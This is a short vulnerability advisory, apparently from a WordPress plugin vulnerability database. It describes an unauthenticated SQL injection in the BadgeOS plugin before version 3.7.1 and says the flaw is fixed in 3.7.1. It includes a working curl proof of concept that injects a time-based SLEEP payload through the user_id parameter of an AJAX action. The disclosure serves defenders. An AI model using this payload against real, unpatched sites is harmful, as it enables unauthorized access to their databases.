WordPress Plugin Vulnerabilities

BadgeOS < 3.7.1 - Unauthenticated SQLi

Description

The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action, leading to an SQL Injection exploitable by unauthenticated users

Note: v3.7.1 removed the AJAX actions from being available to unauthenticated users, however the SQLi is still present but exploitable by authenticated users and a separate advisory has been made

Proof of Concept

curl 'https://example.com/wp-admin/admin-ajax.php' --data 'action=get-achievements&total_only=true&user_id=11 AND (SELECT 9628 FROM (SELECT(SLEEP(5)))WOrh)-- KUsb'

Affects Plugins

Fixed in 3.7.1

References

Classification

Type
SQLI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
cydave
Submitter
cydave
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-04-13 (about 2 years ago)
Added
2022-04-13 (about 2 years ago)
Last Updated
2022-08-23 (about 1 years ago)

Other